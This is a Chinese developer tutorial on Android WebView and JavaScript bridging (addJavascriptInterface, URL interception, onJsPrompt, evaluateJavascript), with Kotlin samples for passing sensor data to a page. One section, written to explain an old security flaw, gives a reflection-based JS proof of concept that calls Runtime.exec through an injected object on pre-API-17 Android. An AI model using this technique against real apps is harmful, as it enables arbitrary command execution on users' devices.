前言
在 APP 中内嵌一个 H5 来实现特定的业务功能已经是非常成熟且常用的方案了。
虽然 H5 已经能够实现大多数的需求,但是对于某些需求还是得依靠原生代码来实现然后与 JavaScript 进行交互,例如我目前所负责的项目就是一个 “智能硬件” 设备,需要外接非常多的硬件或传感器获取特定的数据,并在实际业务中使用。此时如果直接使用 H5 是无法获取到这些数据的,这就必须依赖于安卓原生提供相应的数据。
JavaScript 调用 Android 原生方法
webView.addJavascriptInterface()
简介
webView.addJavascriptInterface()
有两个参数 Object obj, String interfaceName
。
- 其中 object 即需要提供给 js 调用的对象。在 Android 4.1.2 (API 16) 以下时,js 可以调用该对象的所有公开方法;在 Android 4.2 (API 17)以上时, js 只能调用添加了
@JavascriptInterface
注解的公开方法。
之所以会有这样的改动,是因为在 API 16 之前可以调用所有公开方法具有安全隐患,例如可以利用 jave 的反射机制实现任意命令的执行。
- interfaceName 即 js 调用时的接口名称。
使用方法
首先,我们定义一个类用于给 js 调用:
class TestJsBridge {
@JavascriptInterface
fun getCurrentTemperature(): String {
val data = "37.5" // 模拟从传感器获取的数据
return data
}
}
然后,我们需要允许 WebView 的 js 支持:
val webSettings = webView.settings
webSettings.javaScriptEnabled = true
接下来,将第一步中定义的 TestJsBridge
对象通过 addJavascriptInterface
注入到 js 中:
webView.addJavascriptInterface(TestJsBridge(), "NativeBridge")
现在,我们就可以直接在 JavaScript 中调用这个方法了:
<script type="text/javascript">
var temp = NativeBridge.getCurrentTemperature();
</script>
此时,在 js 中,temp 的值就是 37.5
。
另外需要注意的是,js 调用 java 的方法不是在主线程中调用的,而是在 webview 自己线程中调用的,所以在编写某些涉及到 UI 的操作时需要先切换至主线程。
漏洞解析
对了,上文中说过在 API 16 以下的 addJavascriptInterface
有安全隐患,这里简单举一个例子演示如何通过反射在 js 中执行任意 sh。
首先,依旧是提供一个对象供 js 调用,这里我们直接给一个空对象:
class TestJsBridge {}
然后注入到 js 中:
webView.addJavascriptInterface(TestJsBridge(), "NativeBridge")
最后在 js 中这样写:
<script type="text/javascript">
for (var obj in window) {
try {
if ("getClass" in window[obj]) {
try{
ret= NativeBridge.getClass().forName("java.lang.Runtime").getMethod('getRuntime',null).invoke(null,null).exec(['echo', 'hello,equationl', '>', './sdcard/hack.txt']);
} catch(e) { }
}
} catch(e) {}
}
</script>
这样,即使我们注入 js 的对象什么方法都没写,还是会被执行 sh ,上述 sh 就是输入一段字符串 “hello,equationl” 到 /sdcard/hack.txt
文件中。
shouldOverrideUrlLoading 拦截 URL
简介
我们可以通过 webview 的 shouldOverrideUrlLoading
拦截到当前请求的 URL,并且可以修改以什么样的方式去处理这个 URL。
换言之,我们可以在 js 中通过请求不同的 URL 来实现调用 java 代码并且传递值。
使用方法
首先,我们需要自己规定一下哪种形式的 URL 会被认为是需要被拦截处理的。
这里我们就简单的定为 “jsBridge://” 开头的 URL 表示需要被拦截处理,而其后跟着的路径表示调用哪个方法以及附带的参数。
例如,“jsBridge://getNewMsg?id=monkey_fish” 表示需要调用 java 的 getNewMsg 方法,并且附带参数 id 为 monkey_fish 。
接下来,我们覆写 webview 的 shouldOverrideUrlLoading
方法,并在其中对 URL 进行处理。
webView.webViewClient = object : WebViewClient() {
override fun shouldOverrideUrlLoading(view: WebView, request: WebResourceRequest): Boolean {
// ------ 对alipays:相关的scheme处理 -------
val url = request.url.toString()
if (url.startsWith("jsBridge://")) {
// 解析参数等等等,然后调用安卓代码,这里假设是跳转到一个新的 Activity
// ……
val intent = Intent(this@WebViewHolderActivity, MsgActivity::class.java)
startActivity(intent)
return true
}
return super.shouldOverrideUrlLoading(view, request)
}
}
在 shouldOverrideUrlLoading
方法中返回 true 表示当前 URL 已被拦截,webview 将取消继续加载,false 则表示继续使用 webview 加载。
那么,js 如何调用这个方法呢?其实也很简单,只要重定向一下当前网址即可:
<script type="text/javascript">
document.location = "jsBridge://getNewMsg?id=monkey_fish";
</script>
通过上面的例子我们可以看出,这个方式其实不太适合于 js 和 安卓原生的交互,反而更适合用于回调某些内容,并且这个内容不需要网页继续操作。
事实上,大多数情况下这个方法是用于网页授权登录或者网页支付等场景的。
例如,业务中某项第三方授权登录使用的是 webview 打开第三方授权网页,在网页上完成登录后,该第三方网页会重定向到特定的 URL,并在其中带入 token,例如:“authorize:xxxxxxxxxxx”。
此时,我们只需要拦截具有上述规则的 URL,并跳转到我们的登录界面即可,也就是说,后续操作就没有这个网页什么事了。
拦截对话框
简介
我们还可以通过覆写 onJsAlert
、 onJsConfirm
、 onJsPrompt
实现对 js 中的 alert()
confirm()
prompt()
三种不同的对话框的拦截和修改,从而变相的达到 js 调用原生代码的目的。
三个对话框都可以通过 message
参数向安卓传递参数。
第一个对话框不能返回数据给 js ; 第二个对话框只能返回一个 Boolean 值给 js ;最后一个对话框 onJsPrompt
可以返回一个字符串给 js,所以一般都是使用 onJsPrompt
来实现 js 和安卓的交互,因此我们接下来就只以 onJsPrompt
举例。
使用方法
要覆写 onJsPrompt
需要先创建一个类继承自 WebChromeClient()
,然后在其中覆写 onJsPrompt
:
class MyWebChromeClient : WebChromeClient() {
override fun onJsPrompt(view: WebView, url: String, message: String, defaultValue: String, result: JsPromptResult): Boolean {
val resultMsg = getNext(message)
result.confirm(resultMsg)
return true
}
}
其中,result.confirm(resultMsg)
相当于我们点击了这个对话框的确定按钮,并且返回提供的值(resultMsg)。如果调用 result.cancel()
则相当于点击了这个对话框的取消按钮,此时返回值为 null 。
而 getNext
是我们的原生逻辑代码,它会返回一个 String 的结果:
fun getNext(id: String): String {
// ……
if (id == "fish") return "我多么想成为你的鹿"
// ……
return ""
}
然后将该类设置到 webview 上:
webView.webChromeClient = MyWebChromeClient()
现在,我们只需要在 js 中如此调用即可:
<script type="text/javascript">
var nextMsg = prompt("fish");
</script>
此时 js 中的 nextMsg
变量就是通过原生安卓拿到的 “我多么想成为你的鹿” 。
Android 调用 JavaScript 方法
evaluateJavascript()
要在 webview 中调用 js 代码也非常简单,官方给出的方案就是直接使用 evaluateJavascript()
。
evaluateJavascript()
接收两个参数: script
和 resultCallback
,其中 script
就是我们要执行的 js 代码,可以执行任意 js 代码;而 resultCallback
是执行结果回调,返回结果是 String 类型。
使用起来也十分简单,例如我们想要调用 js 显示一个 alert
弹框:
webView.evaluateJavascript("alert('hello, my fish, my monkey');") {
println("执行结果: $it")
}
需要注意的是这里的返回结果是空的,因为 alert
本来就没有返回值。
loadUrl()
另外一种在 webview 中调用 js 的代码的方法就是使用 loadUrl()
,其实顾名思义,loadUrl()
是用来加载 URL 的,但是它同样可以用来执行 js ,就如同我们直接在浏览器地址栏中输入一样:
javascript:alert('hello, my deer');
在 webview 中使用也一样:
webView.loadUrl("javascript:alert('hello, my deer');")
但是使用这种方式调用有一种显而易见的缺点,那就是我们无法直接拿到 js 执行的结果。
实践使用
上面已经简要介绍了如何实现安卓原生和 H5 或者说和 js 的交互。
下面我就简单说一下在实际中的应用。
还是以我负责的这个项目为例,在我这个项目中更多的是需要将硬件的能力或者说数据传递给 js 以供 H5 来使用,所以我基本都是在使用 webView.addJavascriptInterface()
。
另外在提供数据给 js 时还会涉及到两种提供方式。
因为在这个项目中,所有硬件的数据都是实时轮询后实时回报给安卓端 APP 的,所以在提供给 JS 时同样需要提供两种形式的数据:一是当前某个传感器的瞬时数据;二是希望能够实时提供某个传感器的数据。
对于情况一非常好实现,这里以获取温度传感器的瞬时值举例。
首先先定义一些工具方法,用于将返回的数据格式化成固定格式:
fun getCommonResponse(code: Int = WebViewCode.OK, message: String = "", data: String): String {
return Gson().toJson(CommonResponse(code, message, data))
}
然后定义需要注入 js 的接口:
class JsTemp {
@JavascriptInterface
fun getCurrentTemp(): String {
if (!TempManager.isConnected()) {
return WebViewUtil.getCommonResponse(code = WebViewCode.TempNotConnect, message = "没有连接温度传感器", data = "")
}
if (!TempManager.isDeviceExist()) {
return WebViewUtil.getCommonResponse(code = WebViewCode.TempNotFound, message = "没有可用的温度传感器", data = "")
}
return WebViewUtil.getCommonResponse(data = TempManager.currentTemp.toString())
}
}
将其注入 webView:
val jsTemp by lazy { JsTemp() }
val JsTempObject = "NativeTemp"
// ……
webView.addJavascriptInterface(jsTemp, JsTempObject)
然后在 H5 中如此调用:
<html>
<head>
<title>test</title>
</head>
<body>
<div class="toast-div" id="currentTemp" onclick="getCurrentTemp()">获取当前温度</div>
<div id="temp">temp: null</div>
</body>
<script type="text/javascript">
function getCurrentWeight() {
document.getElementById("temp").innerHTML = "current temp: "+ NativeTemp.getCurrentTemp();
}
</script>
</html>
这样即可在 H5 获取当前温度的瞬时值。
如果我们想要在 H5 中实时获取温度值的话,我们可以事先在 js 中定义好需要的回调函数,然后将函数传递给 webview,再由安卓原生在轮询温度值时通过 evaluateJavascript
将值回调给设置的 js 回调函数。
代码如下,
首先,在 H5 中定义好用于接收温度的值的回调函数,以及界面:
<!-- …… -->
<div class="toast-div" onclick="NativeTemp.addOnTempChangeListener('onTempChange')">添加温度监听</div>
<div class="toast-div" onclick="NativeTemp.removeOnTempChangeListener('onTempChange')">移除温度监听</div>
<!-- …… -->
<script type="text/javascript">
<!-- …… -->
function onTempChange(temp) {
document.getElementById("temp").innerHTML = "temp callback: "+temp + " | " + Date.now();
}
<!-- …… -->
</script>
其中的 onTempChange
即为我们定义的用于接收回调的 js 函数名称。
然后在安卓的接口类中:
// ……
/**
* 添加温度改变时的监听回调
*
* @param callbackFunName JS 函数名,温度改变时回调给哪个 JS 函数
* @return 返回添加结果
* */
@JavascriptInterface
fun addOnTempChangeListener(callbackFunName: String): String {
if (!TempManager.isConnected()) {
return WebViewUtil.getCommonResponse(code = WebViewCode.TempNotConnect, message = "没有连接温度传感器", data = "")
}
if (!TempManager.isDeviceExist()) {
return WebViewUtil.getCommonResponse(code = WebViewCode.TempNotFound, message = "没有可用的温度传感器", data = "")
}
val result = onTempChangeFunName.add(callbackFunName)
return if (result) {
WebViewUtil.getCommonResponse(data = "OK")
} else {
WebViewUtil.getCommonResponse(code = WebViewCode.CallBackAlreadyAdd, message = "$callbackFunName 已经添加", data = "")
}
}
/**
* 移除温度改变时的监听回调
*
* @param callbackFunName JS 函数名,已添加的 JS 函数
* @return 返回移除结果
* */
@JavascriptInterface
fun removeOnTempChangeListener(callbackFunName: String): String {
val result = onTempChangeFunName.remove(callbackFunName)
return if (result) {
WebViewUtil.getCommonResponse(data = "OK")
} else {
WebViewUtil.getCommonResponse(code = WebViewCode.CallBackNotExist, message = "$callbackFunName 不存在", data = "")
}
}
// ……
其中的 onTempChangeFunName
是我们的定义的一个 Set ,用于存放当前设置的回调函数名称:val onTempChangeFunName: MutableSet<String> = mutableSetOf()
。
最后,在轮询温度的地方调用:
while (true) {
// ……
val result = 36.5 // 模拟轮询到温度结果
// ……
if (onTempChangeFunName.isNotEmpty()) {
val json = WebViewUtil.getCommonResponse(data = result.toString())
for (function in onTempChangeFunName) {
webView.evaluateJavascript("$function('$json');") {
}
}
}
delay(50)
}
自此,我们实时获取温度传感器数值的目的也达成了。